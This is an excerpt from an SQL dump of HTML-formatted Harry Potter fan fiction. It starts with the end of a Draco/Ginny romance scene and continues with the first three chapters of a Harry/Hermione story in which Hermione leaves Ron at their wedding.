say?"<br/><br/>\n\nGinny, with Draco looming over her, encircled her arms on his neck. "That you would never intentionally hurt me." She grinned, tousling his hair. "And I believed you. I still do."<br/><br/> \n\nGinny then began reminiscing tonight\'s events, as if she was watching them for the first time. This made her blush sheepishly. "I still can\'t believe I did all of it though. I mean the chair, the dancing... everything."<br/><br/>  \n\nDraco cocked his head and stared. "Don\'t tell me you regret doing it?" <i>God, he knew it was too good to be true.</i><br/><br/>\n\nBaffled by his response, she brushed his lips on hers quickly. "No! Of course not! It\'s just that I wasted a pretty darn good lingerie just to give you a bit of a tease."<br/><br/>  \n\nDraco turned his head and looked down at the sheds of lace scattered all over the floor. "Speaking of lingerie," he started, frowning wonderingly. "Just where the hell did you get that? You never wore such a thing like that before?"<br/><br/>\n\nGinny tittered, crawling her fingers over his chest lovingly. "Oh. Hermione and some of the girls gave that to me for our wedding night. But then I thought it was too raunchy for the occasion."<br/><br/>\n\n"Really? Is that why you chose to wear that white gown of yours instead. Damn it, if I\'d known better I would have thrown a fit at you."<br/><br/>\n\n"Hey! You seemed to forget that I hated your guts at that time." She prodded, punching his arm softly. "I didn\'t want you gawking at me like some mad dog."<br/><br/>\n\n"Is that so?" He kidded, nipping her shoulder playfully. "I guess you need to be punished then."<br/><br/>\n\n"Get off me!" she laughed, as he rushed her with wild kisses over her face, foolish and sweet as a puppy. "Haven\'t you had enough for one night?"<br/><br/>\n\nDraco  stopped momentarily and grinned at her. "I can\'t help it. I\'m a victim of my own selfish pride."<br/><br/>\n\n"Stop it!" Her laughing struggles stopped as he slid silkily inside her. Her hips automatically arched up, and her hands, as if having a mind of their own, gripped his hips. "God, I hate you."<br/><br/>\n\nHe lowered his head, chuckling softly as he took her. He would remember this, always. And so, he promised himself, would she.<br/><br/><br/>\n<b><i>Tonight, could I be lost forever<br/>\nTo drown, my soul in<br/> \nSensory pleasure</i></b>\n</p>\n'),
	(23, 1, '\n\n\n \n  <p style="text-align:center" align="center">One Moment in Time&#8230;</p>\n  <p>Author: Ohepelss \n    Oramtnci </p>\n  <p>Spoilers: All four \n    books</p>\n  <p>Category: Romance \n    </p>\n  <p>Keywords: Harry, \n    Hermione</p>\n  <p>Rating: Pg- Pg-13</p>\n  <p>Summary: Ron and \n    Hermione broke up and Hermione is devastated. Harry stands by her and helps \n    her pull through this time of difficulty. Would love eventually blossom between \n    them?</p>\n  <p>Disclaimer: All \n    Harry Potter related characters belong to J,K. Rowling. \n    OC characters belong to me. </p>\n  <p>Author Notes: Hope \n    that you will enjoy the story and please read and review. </p>\n   \n  \n  <p>Chapter 1: I, Hermione \n    Granger, am not willing to take&#8230; </p>\n  <p>&#8220;Relax Hermione, \n    you look beautiful today.&#8221; Ginny said, patting Hermione gently on the shoulders. \n    Hermione gave Ginny a nervous smile as she arranged the wreath of roses on \n    her head.</p>\n  <p>&#8220;Oh Ginny, I am \n    so excited, yet nervous at the same time. Butterflies are fluttering in my \n    stomach now.&#8221; Hermione turned her head around and said to Ginny. </p>\n  <p>&#8220;Relax hon, \n    all will go right today.&#8221; Ginny said, squeezing Hermione&#8217;s hand gently. Hermione \n    however was still nervous and take a quick look at the mirror again. The door \n    opened gently and a head poked in. </p>\n  <p>&#8220;Are you ready, \n    Hermione? I doubt the possibility that Ron could wait any longer.&#8221; Harry said, \n    grinning at her. Hermione smiled. </p>\n  <p>&#8220;I think so. Harry, \n    I am really worried, do I look okay?&#8221; Hermione asked as Harry walked into \n    the room. Ginny only shook her head.</p>\n  <p>&#8220;This girl has been \n    asking for the past 15 minutes whether she looked ok.&#8221; Ginny said, chuckling \n    a little. </p>\n  <p>&#8220;You looked beautiful \n    Hermione, don&#8217;t worry.&#8221; Harry said, smiling. &#8220;So, how do I look?&#8221; Harry asked, \n    straightening his tie, flattening his ever messy hair and gave a wink at the \n    mirror. Hermione looked at him in disbelief before breaking out into peals \n    of laughter. </p>\n  <p>&#8220;You know Harry; \n    I was expecting to have the mirror shatter into thousand of pieces.&#8221; Hermione \n    replied jokingly, putting back all the nervousness she had before. </p>\n  <p>&#8220;Hermione!&#8221; Harry exclaimed, &#8220;Is that how you treat your best \n    friend for 7 years?&#8221; Harry asked questioningly, raising and eyebrow. </p>\n  <p>&#8220;Maybe.&#8221; Hermione said indignantly. Ginny who had been at the side watching \n    them bickering at each other playfully, took a look at her watch. &#8220;Harry, \n    you had better go out now. It&#8217;s almost time. Go help \n    make sure Ron&#8217;s ready.&#8221; Ginny said, half smiling, half pushing him out of \n    the door. &nbsp;</p>\n  <p>&#8220;Hey, I am not finish \n    yet&#8230;&#8221; Harry complained before he was pushed out of the door. </p>\n   \n  \n  <p>&#8220;Is my tie straight? \n    Are my teeth clean? Is my hair messy?&#8221; Ron blabbered to Seamus as Harry walked \n    in. </p>\n  <p>&#8220;Hey Harry, help \n    me over here. Ron has too many questions for me to handle and as a best friend, \n    you should help.&#8221; Seamus said quickly, pushing Harry towards Ron and quickly \n    make his way out. </p>\n  <p>&#8220;He sure knows how \n    to make an escape.&#8221; Harry muttered under his breath as he walked towards Ron. \n    </p>\n  <p>&#8220;Do I look handsome \n    today?&#8221; Ron asked. Harry chuckled before answering. </p>\n  <p>&#8220;Yes old boy, you \n    couldn&#8217;t look any better.&#8221; Ron gave Harry a friendly shove. </p>\n  <p>&#8220;I am not that old.&#8221; \n    Ron replied indignantly. </p>\n  <p>&#8220;Fine, you are very \n    old.&#8221; Harry continued. Ron stared at him. Harry just shrugged his shoulders. \n    </p>\n  <p>&#8220;How is Hermione \n    doing?&#8221; Ron asked, straightening his tie which was already as straight as \n    could be.</p>\n  <p>&#8220;Almost ready and just as nervous as before, and definitely beautiful.&#8221; \n    Harry said as he stuck a rose in Ron&#8217;s pocket. </p>\n  <p>&#8220;Ok, I am ready, \n    let&#8217;s make our way out now.&#8221; Ron said. Harry nodded and the duo made their \n    way to the cathedral.</p>\n   \n  \n  <p>&#8220;Hermione, it is \n    time.&#8221; Ginny said as she opened the door. </p>\n  <p>&#8220;Give me a minute \n    Gin; I will be out a little later.&#8221; Hermione said, spraying a little more \n    of the liquid gel to hold the lose ends of her hair together. Ginny nodded \n    and made her way out. </p>\n  <p>Hermione looked \n    at her reflection in the mirror and gave a nervous smile. Picking up a bouquet \n    of flowers, she made her way towards the door, only to notice an addressed \n    package to her. Setting down the bouquet of flowers on the sofa, she walked \n    over and picked up the parcel.</p>\n   \n  \n  <p>Back in the cathedral, \n    Ron was already standing at the altar, waiting nervously for the ceremony \n    to start. At the struck of 10, a wedding march began playing and Ron looked \n    expectantly at the gates of the cathedral, waiting for his bride to make her \n    debut.</p>\n  <p>The march had been \n    played halfway, but there was still no Hermione. Ron was beginning to get \n    worried. &#8220;Harry, do you think Hermione met up with some trouble?&#8221; Ron asked. \n    </p>\n  <p>&#8220;I&#8217;ll go check it \n    out.&#8221; Harry said, patting Ron gently on the shoulders. Ron nodded and Harry \n    rushed down the walkway and out of the cathedral towards the bride&#8217;s room. \n    </p>\n  <p>Suddenly, wang, \n    bang, smack, he ran into someone. Harry quickly held on to that person, preventing \n    him/her to fall any further. </p>\n  <p>&#8220;I am really sorry.&#8221; \n    Harry said as he helped the person and looked up. </p>\n  <p>&#8220;Hermione? Where were you? Ron was so worried.&#8221; Harry said, bombarding \n    her with questions. Hermione just shook her head. Taking her by the hand, \n    Harry leaded her towards the cathedral.</p>\n  <p>&#8220;Come on,&#8221; He said, \n    smiling. &#8220;We are waiting for you to start the ceremony.&#8221; Harry continued. \n    Hermione gave him a weak smile and led herself be led to the cathedral. </p>\n  <p>Harry rushed in \n    once more and gave Ron a reassuring smile as he walked over to the pianist \n    and ask her to play the wedding march once more before taking his place beside \n    Ron. </p>\n  <p>The wedding march \n    rang once again throughout the halls of the cathedral and the doors flung \n    open. Hermione walked in slowly. Ron could only stared open-mouth as Hermione \n    walked in. </p>\n  <p>Hermione was dressed \n    in a ball gown that was custom-made. It was ivory in colour and made of gossamer. \n    It was a strapless gown with a full skirt that fell gently to the ground. \n    Above the layer of gossamer, there&#8217;s a layer of chiffon, secured round the \n    waist by a ribbon, or a belt made of spider silk. Hanging from the bottom \n    of this belt are amethyst crystal beads, strung together by a fine silver \n    thread, falling to around knee length. The chiffon round the neckline had \n    roses embroidered upon it. There was a matching white chiffon shawl which \n    hung around Hermione&#8217;s neck with the ends falling behind her back. Beads hung \n    from the shawl and fall gently around Hermione&#8217;s shoulders. </p>\n  <p>Hermione&#8217;s hair \n    was pulled up in a simple French twist, leaving bits of her bangs hanging \n    down the side of her face. A wreath of roses sat gently upon her head and \n    from the edge, hung a waist length veil, which was a little yellowed, to give \n    a vintage feeling. The edges were rolled up and trimmed with blue ribbons. \n    On her hands, she wore a pair of chiffon gloves and carried a bouquet of red \n    roses. </p>\n  <p>Following behind \n    her was her bridesmaid, Ginny and Lavender who were followed by Tina, Amanda, \n    the flower girls and the ring bearer, Joshua. </p>\n  <p>Out of this simple \n    procession, Hermione was the star of the day. She wore a smile and walked \n    slowly to the music towards Ron who was waiting at the altar for her. Harry \n    looked at Hermione quizzically. There was something wrong with her today, \n    he knew it, but he didn&#8217;t know what was bothering her. </p>\n  <p><i>Hermione is smiling, but her \n    eyes did not. It was not a true smile that one would produce when one is really \n    happy. What exactly happened between the time I left her and the time she \n    came to the cathedral? What could cause such a drastic change within her? \n    </i></p>\n  <p>Hermione had walked \n    slowly up the altar. All eyes followed her. Harry could only look at her, \n    but was not able to make out what she was thinking. The priest went on with \n    his sayings and finally, he said. </p>\n  <p>&#8220;Mr. Ronald Weasley, \n    do you take Ms. Hermione Granger as your lawfully wedded wife and care for \n    her regardless of&#8230;&#8221; The priest said but before he could finish, he was cut \n    off by Ron.</p>\n  <p>&#8220;I do.&#8221; He said. \n    The crowd giggled behind at his antics. The priest did not say anything, but \n    turned to Hermione.</p>\n  <p>&#8220;Ms. Hermione Granger, \n    do you take Mr. Ronald Weasley as your lawfully wedded husband and care for \n    him regardless of sickness, age and poverty?&#8221; The priest asked. Hermione did \n    not answer. She seemed to be in some sort of a daze, not hearing the words \n    that the priest has said.</p>\n  <p>&#8220;Ms. Hermione Granger?&#8221; \n    The priest asked once again. Ginny nudged her slightly and Hermione woke up. \n    </p>\n  <p>&#8220;I do&#8230;&#8221; Hermione \n    trailed off. Sighs of relieve was emitted from the crowd. Even Harry sighed \n    in relief. Ron wore a wide grin on his face. </p>\n  <p>&#8220;If there are no \n    objections, may I pronounce&#8230;&#8221; The priest continued \n    but was cut off by Hermione.</p>\n  <p>&#8220;Not.&#8221; Hermione \n    finished off her sentence. The crowd began discussing this among themselves. \n    </p>\n  <p>&#8220;Hermione, did I \n    hear you wrongly?&#8221; Ron asked, worried evident in his voice. </p>\n  <p>&#8220;No you did not \n    Ron.&#8221; Hermione said, turning to look at Ron before facing the priest once \n    more and said indignantly. </p>\n  <p>&#8220;I, Hermione Granger, \n    am not willing to take Mr. Ronald Weasley as my lawfully wedded husband.&#8221; \n    </p>\n\n\n\n'),
	(23, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">One Moment in Time&#8230;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Author: Ohepelss Oramtnci </p>\n\n<p class="MsoNormal">Spoilers: All four books</p>\n\n<p class="MsoNormal">Category: Romance </p>\n\n<p class="MsoNormal">Rating: Pg- Pg-13</p>\n\n<p class="MsoNormal">Summary: Ron and Hermione\nbroke up and Hermione is devastated. Harry stands by her and helps her pull\nthrough this time of difficulty. Would love eventually blossom between them?</p>\n\n<p class="MsoNormal">Disclaimer: All Harry Potter\nrelated characters belong to J,K. Rowling. OC\ncharacters belong to me. </p>\n\n<p class="MsoNormal">Author Notes: Hope that you\nwill enjoy the story and please read and review. </p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">~*~</b></p>\n\n<b style="mso-bidi-font-weight:normal">Tanochan of Eternal Babble, </b>Hermione doesn&#8217;t love Ron? Oh you wouldn&#8217;t know&#8230;&nbsp; <b style="mso-bidi-font-weight:normal">Lady Wolf Moon., Kara, Kenoko, </b>Did I say that? <b style="mso-bidi-font-weight:normal">E.C.R. Potter, </b>you&#8217;ll know what is in the parcel in this particular chapter. <b style="mso-bidi-font-weight:normal">The only Emily, </b>yes, yea! <b style="mso-bidi-font-weight:normal">Wraith, </b>Huh? I don&#8217;t understand. <b style="mso-bidi-font-weight:normal">Nigella816, </b>glad that you liked it. Well, updating now aren&#8217;t I? <b style="mso-bidi-font-weight:\nnormal">NAPPA, </b>Thanks. <b style="mso-bidi-font-weight:normal">&nbsp;</b>Thanks to all of you who reviewed ~*~\n\n<p class="MsoNormal">Chapter 2: Ronald Weasley,\nyou are mine!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I, Hermione Granger, am not\nwilling to take Ronald Weasley as my lawfully-wedded husband&#8221; Hermione said\nindignantly as she gathered up her skirts, ran down the steps, onto the walkway\nand out of the cathedral. The crowd immediately stood up and turned to look at\nHermione. Mrs. Weasley went up to the altar. </p>\n\n<p class="MsoNormal">&#8220;What exactly happened Ron?&#8221;\nMolly asked, obviously worried. Arthur on the other hand requested that the\nguests sit down. </p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know Mom, but I am\ngoing to find out.&#8221; Ron said as he quickly run out and followed Hermione. </p>\n\n<p class="MsoNormal">&#8220;Ron&#8230;&#8221; Molly was about to\ncall back Ron when Harry tapped her on the shoulder. </p>\n\n<p class="MsoNormal">&#8220;Mrs. Weasley, do not worry,\nI&#8217;ll follow Ron and make sure everything&#8217;s fine.&#8221; Harry said reassuringly. Mrs.\nWeasley nodded and Harry ran out of the cathedral, leaving the Weasley family\nto control the situation in the cathedral. </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&#8220;Hermione, what&#8217;s the meaning\nof this?&#8221; Ron asked, catching up with Hermione as he held on tightly to her\narm. Hermione turned around and looked at him. Ron was taken aback. Hermione\nwas crying. </p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong Hermione?&#8221; Ron asked,\nloosening his grasp as he wiped away her tears. Hermione turned her head and\nlooked at the ground, not willing to look at Ron in the eye. </p>\n\n<p class="MsoNormal">&#8220;Nothing&#8217;s wrong.&#8221; Hermione\nsaid, choking back her tears. Ron wasn&#8217;t about to give up. </p>\n\n<p class="MsoNormal">&#8220;There must be something\nwrong. Otherwise, you wouldn&#8217;t leave me at the altar and you wouldn&#8217;t be crying\nnow. What are you trying to do here Hermione?&#8221; Ron asked persistently. </p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t you ask yourself\nwhat are you trying to do.&#8221; Hermione cried out, throwing a tape recorder onto\nthe ground. Ron bent up and picked it up. </p>\n\n<p class="MsoNormal">&#8220;What has a tape recorded got\nto do with our business?&#8221; Ron asked, waving the tape recorder in front of her\nface. Sniffing a little, Hermione wiped her tears and told Ron the reason. </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">A package for me?</i><i style="mso-bidi-font-style:normal"> Who would be\nso kind as to send one over here? </i>Hermione\npicked up the parcel and walked over to the table and sat on the chair. <i style="mso-bidi-font-style:normal">There&#8217;s no card. I wonder who gave it to me.\n</i>Hermione tore the brown parcel paper gently. Inside this parcel set a tape\nrecorder with a tape in it. A note read. </p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal"><u>Play this tape and listen to it. You&#8217;ll understand the\nmeaning of my gift. </u></i></p>\n\n<p class="MsoNormal">Setting the player upright,\nHermione played it. The radio cackled for a while before a voice spoke. </p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&#8220;Hermione, you might not know who I am,\nbut I do know you. I can&#8217;t bear to see you being tricked by him over and over\nagain&#8221;</i></b></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Him?</i><i style="mso-bidi-font-style:\nnormal"> Who could that &#8220;him&#8221; be? Ron? Harry?\nBut why would they trick me?</i></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&#8220;You should know the truth. I feel\nobliged to tell you. If I do not tell you, I would feel guilty. After listening\nto this tape, you can decide what you want to do.&#8221; </i></b></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Guilty?</i><i style="mso-bidi-font-style:\nnormal"> Why should she feel guilty? Its not like she has done anything wrong to me. </i></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&#8220;If you must know my identity, just remember\nme as Hailey. It all began back in last summer when I first met Ron.&#8221; </i></b></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Last summer?</i><i style="mso-bidi-font-style:\nnormal"> First met Ron? Wasn&#8217;t that the time Ron\nproposed to me? What has this got to do with him? </i></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&#8220;It was what you can call, love at first\nsight. Both of us fell in love with each other and started going out.\nMeanwhile, you and Ron were preparing for the wedding. I did know of you\npresence, but Ron disallowed me to say anything. So, we went out together for a\nyear. I knew you guys were going to get married, but Ron promised me that no\nmatter what happens, he will still stay by me.&#8221;</i></b></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ron&#8230; Went out with another woman? This can&#8217;t be true,\nthis can&#8217;t be. </i></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&#8220;I know you find it hard to believe, but\nit&#8217;s true. Hermione, I do not want to see you hurt, nor cheated, for you are a\nvery nice girl. You are in the dark, while we are in the light. Hermione, I am\nsure you do not want a 2-timing guy for your husband do you? He&#8217;s going to be\nwith you forever and each time, he will lie. I do not really want to see you\nsuffer in his hands. Hermione, you&#8217;ll decide what you want to do. I won&#8217;t nor\ncan&#8217;t stop you. Goodbye.&#8221; </i></b></p>\n\n<p class="MsoNormal">Tears rolled down Hermione&#8217;s\ncheeks as she listened to the tape. She did not know what to do, neither could\nshe believe that Ron would actually do this to her. She would never believe it,\nbut this tape seems so real. Wiping her tears, she touched up her make-up, took\nthe tape-recorder and walked out of the room. </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8221; Ron exclaimed as\nHermione finished her story in tears. &#8220;Don&#8217;t tell me you believe her. I do not\nknow anyone called Hailey. She&#8217;s making it all up. It isn&#8217;t the truth.&#8221; Ron\ncried. </p>\n\n<p class="MsoNormal">&#8220;This isn&#8217;t the truth? Than\nwhat is? Who am I supposed to trust? I am so confused. Who&#8217;s telling the\ntruth?&#8221; Hermione said, crying out loud. Ron grasped her shoulders tightly.</p>\n\n<p class="MsoNormal">&#8220;Believe me Hermione; I\nwouldn&#8217;t do something like that to you. I would never bear to hurt you. The\nonly woman I love is you.&#8221; Ron said, trying his best to explain. </p>\n\n<p class="MsoNormal">&#8220;STOP! I do not want to hear anything at all.&#8221; Hermione\nsaid, crying as she covered her ears. </p>\n\n<p class="MsoNormal">&#8220;Hermione, you have to\nlisten. What I am telling is nothing but the truth.&#8221; Ron said, trying his very\nbest to remove her hands from her ears. Hermione just cried.</p>\n\n<p class="MsoNormal">&#8220;Imperio.&#8221; A\nsmall voice said from behind and Ron suddenly stopped. He released his grasp\nimmediately and looked at Hermione. </p>\n\n<p class="MsoNormal">&#8220;You are stubborn lady. Why\nshould you mind how many girlfriends I have. You are just a woman. You should\nnever bother yourself in the affairs of men.&#8221; Ron said, pointing a finger at\nher. Hermione stared at him in disbelief. Never in her life could she believe\nthat Ron would actually said that to her. </p>\n\n<p class="MsoNormal">&#8220;Well, actually I do know\nthis Hailey girl. But do you know that she&#8217;s 10 times way better than you? What\ndo you think yourself as? Some princess? Well, you\naren&#8217;t that&#8217;s for sure.&#8221; Ron said, looking at her. Hermione threw the tape\nrecorder done.</p>\n\n<p class="MsoNormal">&#8220;Have it your way than\nWeasley. From now on, it&#8217;s over between us.&#8221; Hermione said as she removed her headpiece\nand veil and threw it at him before running away. In the midst of running, she\nknocked into a few aurors, but left crying again. Ron suddenly snapped out of\nhis trance and started to run after Hermione, but Harry, who had walked out\nfrom a corner stopped him. </p>\n\n<p class="MsoNormal">&#8220;Ron, give her some time to\ncool down. After those words you said, she&#8217;s affected.&#8221; Harry said, trying to\npersuade Ron, but Ron wouldn&#8217;t listen.</p>\n\n<p class="MsoNormal">&#8220;It wasn&#8217;t my fault; someone\ncast the Imperius curse on me.&#8221; Ron said wringing his hands nervously. The\ngroup of aurors walked towards them. </p>\n\n<p class="MsoNormal">&#8220;Harry, Ron, someone was\nusing an unforgivable curse over here, do you know who cast it?&#8221; Jen asked. Ron\nsaid nothing. </p>\n\n<p class="MsoNormal">&#8220;No, but it was obviously\nsomeone around here. Ron was the victim.&#8221; Harry said. Jen nodded. </p>\n\n<p class="MsoNormal">&#8220;Ron, please follow us back,\nand we will do some tests, and help find out who&#8217;s the cause of this.&#8221; Jen said\nas she led Ron away. Ron just nodded, and walked away, not smiling at all.&nbsp; Harry didn&#8217;t know what to do. His 2 best\nfriends, supposedly tying the knot that day, separated. Who could be so evil as\nto torture his friends? He didn&#8217;t know. He had no clue at all. All that he\nshould do know was to find Hermione. That was all he knew he should do. </p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I hope I would find her fast, before something terrible\nhappens to her.</i> Harry silently prayed\nas he rushed off after Hermione. </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Meanwhile, in a little back\nalley, a lady was seen breaking her wand into two. She smiled an evil grin as\nshe took out another wand and incinerated the previous one. She looked at that\nscene before her and she gloated. Her big plan had finally succeeded and she\nhas already accomplished her goal. No one ever took away what belonged to her.\nNo one, not even love could. An evil glint shone in her eyes as she muttered. </p>\n\n<p class="MsoNormal">&#8220;Ronald Weasley, you are\nmine.&#8221; </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">Well, this chapter is done,\nhope you all liked it. </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n\n\n\n\n\n\n'),
	(23, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">One\nMoment in Time.<br>\n<br>\nAuthor: Ohepelss Oramtnci<br>\n<br>\nSpoilers: All four books<br>\n<br>\nCategory: Romance<br>\n<br>\nRating: Pg- Pg-13<br>\n<br>\nSummary: Ron and Hermione broke up and Hermione is devastated. Harry stands by her\nand helps her pull through this time of difficulty. Would love eventually\nblossom between them?<br>\n<br>\nDisclaimer: All Harry Potter related characters belong to J,K. Rowling. OC\ncharacters belong to me.<br>\n<br>\nAuthor Notes: Hope that you will enjoy the story and please read and review. **\nrepresents thoughts, or if someone can, teach me how to use italics here.\nThanks.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Fanficaholic &#8211; </b>Well, I am updating\nnow, though a little behind schedule I think.<b style="mso-bidi-font-weight:\nnormal"> </b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">The Only Emily &#8211; </b>H/Hr will be in later chapters,\nbut yes, they will come. <b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">No one &#8211; </b>Hmm, I am going on. I\nwon&#8217;t leave this story undone </p>\n\n<p class="MsoNormal">Thank you\nfor all those who reviewed the last chapter. I really appreciate it. </p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 3:\nEither you follow me or you stay behind&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hermione oh Hermione, where on\nearth could you have disappeared to? Don&#8217;t scare me like that. </i>Harry ran around the grounds of the\ncathedral, searching for signs of Hermione, but she apparently wasn&#8217;t there. <i style="mso-bidi-font-style:normal">Where could she have gone? It wasn&#8217;t really\ntypical of her to disappear and make others worry. </i>Harry decided that\nsearching on foot wouldn&#8217;t help. Summoning his broom, his faithful firebolt\nthat has been with his for the past 4 years, he took to the skies in his\ninvisibility cloak and searched for Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While the\nrest were on a search looking for her, Hermione had already ran into one of the\ncubicles of the toilet and apparated to her favourite spot, the beach. The\ngentle rhythms produced by the blue-green waves usually calm her nerves down\nand help her keep her cool. It was an own little private spot in the beach and\nwas hardly seen by anyone, except from air. It was not easy to search for\nHermione. She didn&#8217;t top her NEWTS for nothing. </p>\n\n<p class="MsoNormal">The beach\nwas situated on a particular island cut off from mainland. The few accessible\nways are by ships, boats etcetera, air, apparation and portkeys. It was an\nisland where the forests and greenery grew lush and thick, emitting sweets\nscents of nature. The different birds and insects that reside within this lush\nthickness formed a nature band, in league with the sea beating the rhythm,\nproducing one of the most beautiful music ever heard on earth. </p>\n\n<p class="MsoNormal">Heaven is\na place on earth, and this could be an example. Besides music, there were still\nthe sweetest thirst quenching fruits available. Many were of rare species but\nwere in abundance in this area. Pools are common in this little island here.\nThe waters are usually crystal blue with a waterfall continually increasing the\namount of water. </p>\n\n<p class="MsoNormal">Hermione\nstepped in the water gingerly. This was one of her favourite pool. The melody\nof the waterfalls, the beach, the animals and insects were intoxicating. The\nwaters were cooling and fresh, suitable for drinking. This pool was near to the\nbeach and was surrounded by greenery with sunlight peeking in from holes among\nthe leaves. It was a mixture of warmness from the sunlight and the coldness of\nthe water, creating a perfect balance. </p>\n\n<p class="MsoNormal">Hermione\nclosed her eyes as she laid her head atop the mosses at the edge of the pool.\nShe needed time to think through things. It all came to sudden. The wedding,\nthe messages, the denial of the marriage and the hurtful words, it was\npractically like a burden weighing down on her. Hermione did not know what to\nthink. <i style="mso-bidi-font-style:normal">Did Ron mean what he said? Did he\nreally not like me? What does he treat me as? </i>&nbsp;Hermione shook her head furiously to clear off\nunhappy thoughts as the first tear has graced her cheek. </p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hermione, stop crying, he&#8217;s not\nworth your tears. Even if he doesn&#8217;t know how to cherish you, you would find\nsomeone that will. </i>Hermione\nrubbed off the tear and look as the water rippled around her. Fishes were a\ncommon sight and few were tickling the soles of her feet, as if trying their\nbest to relieve a little of the load she was carrying all along. </p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hermione, you&#8217;ve come here to relax\nand forget about everything. But why are you replaying those scenes over and\nover again. <b style="mso-bidi-font-weight:normal">&#8220;But do you know that she&#8217;s\n10 times way better than you? </b></i>Those few words replayed themselves in her mind over and\nover again. She really didn&#8217;t know what she should feel. Did she hate him? Or\ndid she love him? Or was it both? For a second there, Hermione felt pretty\nnumb, like she couldn&#8217;t feel. She was confused. Half of her wanted to run over\nand beg him not to do this to her, half of her wanted to forget him and go out\nwith new guys. It was just too pressurizing. Even the comforts of this island\ndid not serve any purpose. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had\nbeen flying around England for the past hour searching for a\nparticular Hermione Granger. But there was no lady running about in gowns of\nwhite around the streets of London, nor anywhere in England. <i style="mso-bidi-font-style:\nnormal">Let&#8217;s see. I have checked the shops, malls, the gardens, hotels, her\nfriends, both air and land. Only water is left. But hey, she couldn&#8217;t be\nfloating in some boat in the big vast sea can she? Or did she swim to another\nisland? Nah, Hermione can&#8217;t swim from the shores of </i><i style="mso-bidi-font-style:normal">England</i><i style="mso-bidi-font-style:normal"> to another island far away can she. </i>Obviously, in his state of worry for Hermione, he\nhad forgotten that she was a witch and could apparate.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Should I check off shore? I mean,\nin the state she is now, it wouldn&#8217;t be surprising if he really did. But if she\nreally did swim to some offshore islands, how am I supposed to find her. I\nguess I will slow down my pace and looked around. </i>Harry slow down lots and was\nwatching the scene below him lazily. He wasn&#8217;t going to find Hermione in this\nstate. </p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Rows of chalet, girls sunbathing,\nblonde hair shinning, gentle waves, cool breeze, people playing beach ball and\nwhat is that?</i>\nHarry was practically muttering to himself at everything he saw. He left that\nisland and flew to the next one which seemed pretty deserted. <i style="mso-bidi-font-style:normal">Well, well, well, what do we have here? </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Pools, waterfalls, thick greenery\nand what&#8217;s that?</i>&nbsp; Harry nearly fell of his broom at the sight\nof a lady with bushy brown hair in a one piece swimsuit soaking in a pool.\nHarry straightened his glasses. <i style="mso-bidi-font-style:normal">How did\nshe even get here in the first place? And she seemed familiar. She looks like&#8230;\nHermione? </i></p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nHarry called out as he tilted his broom and headed towards land.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Hermione! </b>Hermione looked around. This was\nsort of like her private spot. Who would ever find their way here? It 